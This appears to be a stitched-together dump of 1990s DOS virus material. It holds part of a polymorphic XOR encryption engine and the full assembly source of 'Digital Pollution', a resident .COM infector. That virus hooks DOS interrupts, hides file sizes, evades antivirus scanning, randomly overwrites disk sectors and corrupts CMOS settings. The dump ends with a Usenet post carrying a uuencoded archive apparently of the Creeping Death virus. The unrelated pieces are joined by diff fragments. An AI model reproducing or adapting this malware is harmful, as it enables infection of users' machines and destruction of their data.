db "Weiners XOR machine 1.0 (C) Australian Parasite [AIH] June 1994"
;With some thanks to Vibrant Pixel and Digital Vampyr
Poly:
enter 22,0 ;80286 inst only ;)
mov w[bp-20],CX
mov w[bp-22],si
mov w[bp-16],di
mov w[bp-4],ax ;Save Encryption Offset
mov w[bp-6],bx ;Save Length to encrypt
add ax,bx
add w[bp-10],ax ;Add some to the random seed
call poly_flood_buffer
call poly_make_register
call poly_regnum ;Set regnum seed
call poly_pointer_set ;Set the encryption delta offset
call poly_count_set
call poly_get_byte
call poly_crypt_byte
call poly_set_byte
call poly_inc_data
call poly_dec_counter
call poly_calc_loop
mov ax,w[bp-16]
sub di,ax
mov w[bp-18],di
call poly_fix_delta
;copy code to end of cryption routine
mov cx,w[bp-6]
mov si,w[bp-22]
mov di,w[bp-16]
add di,w[bp-18]
rep movsb
mov cx,w[bp-6]
mov si,w[bp-16]
add si,w[bp-18]
mov dx,w[bp-8]
l1:
xor b[si],dl
inc si
loop l1
push es
pop ds
mov dx,w[bp-16]
mov cx,w[bp-18]
add cx,w[bp-6]
leave ;Whoooo, another 80286+ only;
;kill our scratch buffer
ret
poly_fix_delta:
mov di,w[bp-14]
mov ax,w[bp-18]
inc di
add w[di],ax
ret
poly_regnum:
test dl,0100xb
je ret
mov w[bp-8],di ;Yes, then do this
mov ax,0b0
stosw
ret
poly_make_register:
call poly_rand_byte
and al,0111xb
mov dh,al
;dh = main data get\put register. one of 8 registers
l1:
call poly_rand_byte
and al,0111xb
mov dl,al
cmp dh,dl
je l1
;dl = encryption register. one of 7 registers
l1:
; DH AL
; 0000 AL 0000 AX a# = 0000 or 0100 so it == 00
; 0001 CL 0001 BX
; 0010 DL 0010 CX ;notice in AX + CX that bottom bit is off
; 0011 BL 0011 DX ;and in AL+CL the second bit is off
; 0100 AH
; 0101 CH
; 0110 DH
; 0111 BH
;convert byte reg to word reg
call poly_rand_byte
and al,0011xb ;DOES BOTTOM 2 BITS
mov ah,dh
and ah,0011xb
cmp ah,al
je l1
mov ah,dl
and ah,0011xb
cmp ah,al
je l1
shl dl,4
or dl,al
;shl 1 and compare the two top bits
;00 = AX = AL,AH
;01 = CX = CL,CL
;10 = DX = DL,DL
;11 = BX = BL,BL
call poly_rand_byte
and al,0001xb
shl al,2
or dl,al
call poly_rand_word
aad
and al,1
shl al,3
or dl,al
;dll = counter reg xxxx xx11 = reg
;dll = reg or num, 1 = reg to reg xxxx x1xx = flag
; 0 = reg to num
;dll = data pointer xxxx 1xxx = Pointer reg SI or DI
; 0 = SI
; 1 = DI
;dlh = encryption reg x111 xxxx = reg
;dhl = getput reg xxxx x111 = reg
ret
poly_get_byte:
mov ah,dh
and ah,0111xb
shl ah,3
add ah,4
test dl,01000xb
je >l1
add ah,1
l1:
mov al,08a
stosw
ret
poly_set_byte:
mov ah,dh
and ah,0111xb
shl ah,3
add ah,4
test dl,01000xb
je >l1
add ah,1
l1:
mov al,088
stosw
ret
poly_count_set:
mov al,dl
and al,0011xb
add al,0b8
stosb
mov ax,w[bp-6]
stosw
mov w[bp-2],di ;Save delta
ret
poly_crypt_byte:
;this the bash the databyte with the cryptreg\num
;so its got to be a XOR #l\h, #l\h
; or XOR #l\h, ##
; or xor [#i], #l\h ;* never produced
; or xor [#i], ## ;* never produced
test dl,0100xb
jne >l1
;do reg to num conversions
;crypt reg with number
;do the xor #l\h, ##
call poly_rand_byte
mov ah,al
mov al,dh
and al,0111xb
or al,al
jne >l2
;its a straight al
mov al,034
stosw
ret
l2:
add al,0f0
mov ah,080
xchg al,ah
stosw
call poly_rand_word
stosb
jmp >l2
l1:
;bit is on, so do reg to reg conversions
;crypt reg with random register
mov bh,dh
and bh,0111xb
mov al,dl
shr al,4
shl al,3
add bh,al
add bh,0c0
xchg ax,bx
mov al,030
stosw
;now fix the reg2reg rndnumber
mov bx,di
mov di,w[bp-8]
mov ah,dl
shr ah,4
add ah,0b0
call poly_rand_byte
xchg al,ah
stosw
mov di,bx
xchg al,ah
l2:
;al = the cypher byte
mov w[bp-8],ax
ret
poly_pointer_set:
mov w[bp-14],di
mov al,0be
test dl,001000xb
je >l1
inc al
l1:
stosb
mov ax,w[bp-4]
stosw
ret
poly_inc_data:
;data reg pointer is stored in
;dh = xx1x 0 = si, 1 = di
xor ax,ax
test dl,001000xb
je >l1
inc ah
l1:
call poly_rand_byte
test al,00010xb
je >l1
add ah,046
xchg al,ah
stosb
jmp >l2
l1:
mov al,083
add ah,0c6
stosw
mov al,1
stosb
l2:
ret
poly_dec_counter:
;counter is stored in dll
;counter is ALWAYS a WORD register
mov ah,dl
and ah,0011xb
call poly_rand_byte
test al,1
jne >l1
;do DEC ##
xchg al,ah
add al,048
jmp >l3
l1:
;do SUB ##,1
or ah,ah
je >l1
mov al,083
add ah,0e8
stosw
mov al,1
jmp >l3
l1:
mov ax,012d
stosw
mov al,0
l3:
stosb
l2:
ret
poly_calc_loop:
;work it on a j statement
;loop while not 0 =
; JNZ = 075
; JG = 07F
; JA = 077
mov bx,di
sub bx,w[bp-2]
call poly_rand_byte
and al,0011xb ;We onlt need 3 inst.....
xchg bl,bh
mov bl,075
dec al
js >l1
mov bl,077
dec al
je >l1
mov bl,07f
l1:
xchg ax,bx
not ah
dec ah
stosw
ret
poly_flood_buffer:
push si,ds,di
mov cx,w[bp-6]
xor si,si
mov ax,0162
mov ds,ax
rep movsb
pop di,ds,si
ret
poly_rand_byte:
mov w[bp-12],ax
call poly_rand_word
mov ah,b[bp-11]
ret
poly_rand_word:
push bx,cx,dx
in ax,040
add ax,w[bp-10]
mov bx,037
mul bx
mov bx,0127
div bx
add ax,dx
add w[bp-10],ax
pop dx,cx,bx
ret
JUMPS: DB 0E9
HOST: DW 0000
OLD3: DB 0C3,0C3,0C3
MARKER: DB "Australian Parasite"
MLEN EQU $ - MARKER
ENDV:
BUFLEN EQU ENDV-0100
PARGS EQU ((BUFLEN/16)+2) * 2
@@ -0,0 +1,513 @@
; VirusName : Digital Pollution
; Origin : Sweden
; Author : Raver
; Group : Immortal Riot
; Date : 25/07/94
; It's been a while since I released my last virus but here's a new one
; anyway.
;
; It's a pretty simple resident non-overwriting .com-infector with
; basic stealth function. Of course it restores time/date/attrib
; and stuff like that. It hooks int 21h and infects on execute
; and open (4b00h/3dh). If a "dir" command is executed it will hide
; the new filesize of infected size by hooking 11h/12h (Find first/next
; the FCB way). The comments is, I think, pretty OK and easy to follow.
;
; As we have started to make out viruses a bit more destructive I've
; included some nuking routines. The virus hooks int 25h (read sector)
; at install and every time it's called there is a 3 % chance that it
; will execute a int 26h instead (write sector). It also includes a
; routine to change the CMOS values for the HD/floppy. Every time an
; infected file is executed it's 2 % chance that this will be activated
; and if so the HD will be set to 20MB and the floppy to 360kb.
; Though this can easily be restored it can cause the novice to do
; some unpredictable things before he really detects the real error.
; (like formating floppys or HD or call his hardware vendor :)
; Also if it's the swedish national day (06/06) it will play some of
; the swedish national antheme. It's completely undestructive but
; what the phuck, it could be fun.
; At last some credits to Macaroni Ted 'cause I've borrowed the
; play_song routine from his CyberCide Virus.
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; DIGITAL POLLUTION
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
vir_size equ end_of_virus-start_of_virus
start_of_virus:
jmp entry_point
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Install code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
install:
mov ax,7777h ;check if we're already in mem
int 21h
cmp ax,'iR' ;if so - jmp already_resident
je already_resident
mov ah,2ah ;get data
int 21h
cmp dx,0606h ;if it's Sweden's national day
jne dont_play ;play the national antheme
call play_song
dont_play:
mov ah,4ah ;get #of available paragraphs in bx
mov bx,0ffffh
int 21h
sub bx,(vir_size+15)/16+1 ;recalculate and
mov ah,4ah
int 21h
mov ah,48h ;allocate enough mem for virus
mov bx,(vir_size+15)/16
int 21h
jc already_resident ;exit if error
dec ax ;ax-1 = MCB
mov es,ax
mov word ptr es:[1],8 ;Mark DOS as owner
push ax ;save for later use
mov ax,3521h ;get interrupt vectors for 21, 25 & 26h
int 21h
mov word ptr ds:[OldInt21h],bx
mov word ptr ds:[OldInt21h+2],es
mov al,25h
int 21h
mov word ptr ds:[old_int25h],bx
mov word ptr ds:[old_int25h+2],es
inc al
int 26h
mov word ptr ds:[int26h],bx
mov word ptr ds:[int26h+2],es
pop ax ;ax = MCB for allocated mem
push cs
pop ds
cld ;cld for movsw
sub ax,0fh ;es:[100h] = start of allocated mem
mov es,ax
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ;copy entire virii to mem
rep movsw ;this way keeps the original offsets
;in the int handler
push es
pop ds
mov dx,offset new_int21h ;hook int21h to new_int21h
mov ax,2521h
int 21h
already_resident:
mov di,100h ;restore the 3 first bytes to it's
push cs ;original position
push cs
pop es
pop ds
lea si,[bp+orgbuf]
mov cx,3
rep movsb
mov ah,2ch ;get time
int 21h
cmp dl,1 ;about 2% chance of a CMOS nuke
ja exit
call screw_cmos
exit:
mov ax,100h ;return control to original program
jmp ax ;at cs:100h
orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes
newbuf db 0e9h,00h,00h ;buffer to calculate a new entry
;offset
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; new interrupt 21h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int21h:
cmp ax,7777h ;is it residency check??
jne continue
mov ax,'iR' ;if so return 'iR'
iret
continue:
cmp ax,4b00h ;check for exec
je infect
check_open:
cmp ah,3dh ;check for open
jne check_dir
jmp check_com ;if si check if .com file
check_dir:
cmp ah,11h ;is it a dir call??
je hide_dir ;then do some FCB stealth
cmp ah,12h
je hide_dir
jmp do_oldint21h
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call successfull??
jnz skip_dir ;if not skip it
push ax bx es ;preserve registers in use
mov ah,62h ;same as 51h - Get current PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP OK??
jnz bad_psp ;if not quit
mov bx,dx
mov al,[bx] ;al holds current drive - FFh means
push ax ;extended FCB
mov ah,2fh ;get DTA-area
int 21h
pop ax
inc al ;is it an extended FCB
jnz no_ext
add bx,7 ;if so add 7
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
jbe no_stealth ;as an infected is smaller -
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from
no_stealth: ;dir entry
bad_psp:
pop es bx ax ;restore regs
skip_dir:
iret
infect: ;.com file infection routine
push es bp ax bx cx si di ds dx ;preserve registers in use
mov ax,4300h ;get attrib
int 21h
push cx ;save attrib
mov ax,4301h ;clear attrib
xor cx,cx
int 21h
mov ax,3d02h ;open file
pushf ;we can't have a standard int 21h
push cs ;call here as we would get caught
call do_oldint21h ;in a infinite loop at open calls
xchg ax,bx ;bx = file handle
push cs
pop ds
mov ax,5700h ;get time/date
int 21h
push dx ;push date/time for later use
push cx
and cl,1fh ;check if infected (if seconds is 29)
xor cl,1dh
je skip_infect
mov ah,3fh ;read three bytes
mov cx,3
mov dx,offset ds:orgbuf
int 21h
cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file
je skip_infect
cmp word ptr ds:orgbuf,'MZ'
je skip_infect ;if so - don't infect
mov ax,4202h ;go eof
xor cx,cx
cwd
int 21h
add ax,offset entry_point-106h ;calculate entry offset to jmp
mov word ptr ds:newbuf[1],ax ;move it to newbuf
mov ah,2ch ;get random number and put enc_val
int 21h
mov word ptr ds:enc_val,dx
mov ax,08d00h ;copy entire virus to 8d00h:100h
mov es,ax
mov di,100h
mov si,di
mov cx,(vir_size+1)/2
rep movsw
push es
pop ds
xor bp,bp ;and encrypt it there
call encrypt_decrypt
mov ah,40h ;write virus to file from position
mov cx,end_of_virus-install ;08d00h:100h
mov dx,offset install
int 21h
push cs
pop ds
mov ax,4200h ;go sof
xor cx,cx
cwd
int 21h
mov ah,40h ;write 3 start bytes
mov cx,3
mov dx,offset newbuf
int 21h
skip_infect:
mov ax,5701h ;restore time/date and mark it infected
pop cx
pop dx
or cl,00011101b
and cl,11111101b
int 21h
;skip_infect:
mov ah,3eh ;close the file
int 21h
pop cx ;get old attrib in cx
pop dx
pop ds
mov ax,4301h ;and put it right
int 21h
pop di si cx bx ax bp es ;restore registers
do_oldint21h:
db 0eah ;jmp to original int21h handler
OldInt21h dd 0
check_com: ;routine to check if a file has the
push di es cx ax ;extension .com
push ds
pop es
mov cx,64
mov di,dx
mov al,'.'
repne scasb ;search for the '.' location
pop ax cx es
cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM
jne break
cmp byte ptr ds:[di+2],'M'
jne break
pop di
jmp infect ;if the match - infect the file
break:
pop di
jmp short do_oldint21h
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; new interrupt 25h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int25h:
push dx
cmp al,2 ;check for c: and above
jb do_int25h
push cx ax
mov ah,2ch ;get random number
int 21h
pop ax cx
cmp dl,2 ;3% chance of a int 26 nuke
ja do_int25h
trash:
pop dx
db 0eah ;trash cx # of sectors by jumping
int26h dd 0 ;to int26h handler
do_int25h:
pop dx
db 0eah ;lucky victim - a standard int25h call
old_int25h dd 0
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; CMOS nuking routine
;
; This routine changes the floppy alternative in CMOS to a 360kb floppy
; or the hd to a 20 MB
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
screw_cmos:
or dl,dl ;if dl = 0 nuke CMOS floppy
jne floppy
mov cl,19h ;else nuke CMOS hd
jmp short get_crc
floppy:
mov cl,10h
get_crc: ;get CMOS crc checksum
mov ax,2eh ;get most significant byte
out 70h,al ;and store in dh
in al,71h
xchg dh,al
mov al,2fh ;get least significant byte
out 70h,al ;and store in dl
in al,71h
xchg dl,al ;dx holds crc checksum
mov al,cl ;cl = function (10h=floopy, 19h=hd)
out 70h,al
in al,71h ;get current value in al
sub dx,ax ;and subtract from checksum
add dx,10h ;add new value to checksum
mov al,cl
out 70h,al
mov al,10h
out 71h,al ;put new value in CMOS
mov al,2eh ;put back new crc checksum
out 70h,al
xchg dh,al
out 71h,al ;least signigicant byte
mov al,2fh
out 70h,al
xchg dl,al
out 71h,al ;most significant byte
ret ;done!
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Swedish national anthem routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
play_song:
lea si,[bp+tune]
next_note: ;loop through the tune at ds:si
lodsw ;until ds:si = 0
or ax,ax
je eot
mov di,ax
play:
mov al,0b6h
out 43h,al
mov dx,12h
mov ax,3280h
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
lodsw
mov cx,ax
delay:
push cx
mov cx,2700
loop $
pop cx
loop delay
out 61h,al
jmp next_note
eot:
xor al,al ;kill the sound
out 61h,al
ret
tune dw 370,600 ;data for the tune
dw 370,1200
dw 294,600
dw 294,600
dw 294,1200
dw 330,600
dw 370,600
dw 370,1200
dw 330,600
dw 294,600
dw 277,1800
dw 330,600
dw 330,1200
dw 277,600
dw 294,600
dw 330,600
dw 277,600
dw 370,600
dw 294,600
dw 247,2400
dw 220,1200
dw 0
dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; En/de-cryption routine and entry point - unencrypted code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
encrypt_decrypt:
mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax
lea di,[bp+install] ;di points to start of crypt
mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc.
xor_loopy:
xor word ptr ds:[di],ax ;a simple xor loop to fullfill
inc di ;the task
inc di
loop xor_loopy
ret
enc_val dw 0
entry_point:
mov sp,102h ;some alternative way to pop
call get_bp ;we don't want TBAV to flag
get_bp: ;a flexible entry point
mov bp,word ptr ds:[100h]
mov sp,0fffeh
sub bp,offset get_bp
call encrypt_decrypt ;decrypt the virus
jmp install ;jmp to install code
end_of_virus:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; end of virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg ends
end start_of_virus
+193
View File
@@ -0,0 +1,193 @@
From smtp Tue Feb 7 12:40 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500
Date: Tue, 7 Feb 1995 12:43:16 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 10475
Content-Type: text
Message-Id: <199502071743.MAA20511@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Creeping Death (dir-2)
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!howland.reston.ans.net!pipex!uunet!uunet.ca!uunet.ca!io.org!wink.io.org!cwalker
From: cwalker@wink.io.org (Chad Walker)
Newsgroups: alt.comp.virus
Subject: Creeping Death (dir-2)
Date: 3 Feb 1995 11:11:59 GMT
Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783)
Lines: 161
Message-ID: <3gt31v$sm5@ionews.io.org>
NNTP-Posting-Host: wink.io.org
X-Newsreader: TIN [version 1.2 PL2]
begin 664 dir2.zip
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
